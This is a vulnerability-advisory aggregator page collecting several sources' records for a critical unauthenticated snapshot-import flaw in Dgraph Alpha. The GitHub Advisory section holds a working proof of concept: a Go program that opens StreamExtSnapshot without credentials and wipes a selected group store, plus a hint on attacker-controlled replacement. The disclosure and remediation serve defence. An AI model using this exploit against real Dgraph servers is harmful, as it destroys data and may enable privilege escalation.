Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. Version 25.3.5 patches the issue.

Source published

8 Jul 2026 13:23:56 UTC

Source modified

8 Jul 2026 14:26:13 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. Version 25.3.5 patches the issue.

Source published

Jul 8, 2026, 1:23:56 PM (timezone not stated)

Source modified

Jul 8, 2026, 2:26:13 PM (timezone not stated)

Observed here

7 Nov 2026 12:28:13 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. Version 25.3.5 patches the issue.

Source published

8 Jul 2026 14:17:06 UTC

Source modified

25 Oct 2026 20:10:00 UTC

Observed here

27 Oct 2026 14:13:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

## Summary Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. ## Root Cause The root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations. Streaming RPCs such as `StreamExtSnapshot` do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger’s `StreamWriter.Prepare()` on the target group store. This operation deletes the existing database, allowing the attacker’s stream to potentially replace the store. ## Steps to Reproduce Preconditions: - A throwaway Dgraph Alpha is reachable on its public gRPC port, default `:9080` - Public gRPC mTLS is not enabled - No Dgraph ACL token, JWT, or gRPC `auth-token` metadata is used by the client 1. Start a throwaway standalone Dgraph instance from the tested build and insert synthetic data. ```bash # Example if the tested source tree is built and tagged locally. docker run --rm -p 8080:8080 -p 9080:9080 \ -v "$PWD/dgraph-ext-snapshot-poc:/dgraph" \ dgraph-standalone:2b6d6328d ``` For example, insert a harmless record. ```bash curl -sS -X POST "http://127.0.0.1:8080/mutate?commitNow=true" \ -H "Content-Type: application/rdf" \ --data-binary $'{ set { _:poc <name> "before-import" . } }' ``` 2. From an unauthenticated client, open `Dgraph.StreamExtSnapshot` and select group 1 as the target group. ```go package main import ( "context" "fmt" "io" "log" "github.com/dgraph-io/dgo/v250" "github.com/dgraph-io/dgo/v250/protos/api" ) func main() { ctx := context.Background() // No JWT or auth metadata is attached. dg, err := dgo.Open("dgraph://127.0.0.1:9080") if err != nil { log.Fatal(err) } defer dg.Close() client := dg.GetAPIClients()[0] stream, err := client.StreamExtSnapshot(ctx) if err != nil { log.Fatal(err) } if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil { log.Fatal(err) } if _, err := stream.Recv(); err != nil { log.Fatal(err) } // Complete an empty external snapshot stream. On the server side, // the local subscriber calls StreamWriter.Prepare() before consuming // packets from the stream. if err := stream.Send(&api.StreamExtSnapshotRequest{ Pkt: &api.StreamPacket{Done: true}, }); err != nil { log.Fatal(err) } for { resp, err := stream.Recv() if err == io.EOF { break } if err != nil { log.Fatal(err) } if resp.GetFinish() { fmt.Println("unauthenticated external snapshot stream finished") break } } } ``` Observed result: - The unauthenticated stream is accepted. - No prior `UpdateExtSnapshotStreamingState(Start)` call is required. - `worker.runLocalSubscriber(...)` calls `pstore.NewStreamWriter().Prepare()`. - Badger drops the existing target group DB before the stream completes. - The synthetic data that existed before the stream is no longer served from the cleared group store. The official import client demonstrates the same wire format and call order: `dgraph/cmd/dgraphimport/import_client.go` opens `dgo.Open(...)`, calls `StreamExtSnapshot`, sends a first `GroupId` message, and then streams `api.StreamPacket.Data` chunks followed by `Done: true`. This Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in `api.StreamPacket.Data` before `Done: true`. ## Impact An unauthenticated attacker who can reach Alpha’s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph’s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation. ## Suggested Remediation 1. Require administrator authorization before `UpdateExtSnapshotStreamingState` calls `worker.ProposeDrain(...)`. 2. Require the same authorization at the start of `StreamExtSnapshot` using `stream.Context()`. 3. Add a gRPC stream interceptor so streaming RPCs receive the same auth and audit treatment as unary RPCs. 4. Reject `StreamExtSnapshot` unless import mode was explicitly armed by an authorized request.

Source published

20 Aug 2026 17:29:00 UTC

Source modified

10 Sep 2026 03:50:54 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Publisher rating · CRITICAL

Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port without authentication or authorization. An unauthenticated network client can call StreamExtSnapshot and send Badger stream data to replace a target group's store, which drops and replaces the existing database data.

Source published

25 Aug 2026 19:43:14 UTC

Source modified

26 Aug 2026 01:13:10 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.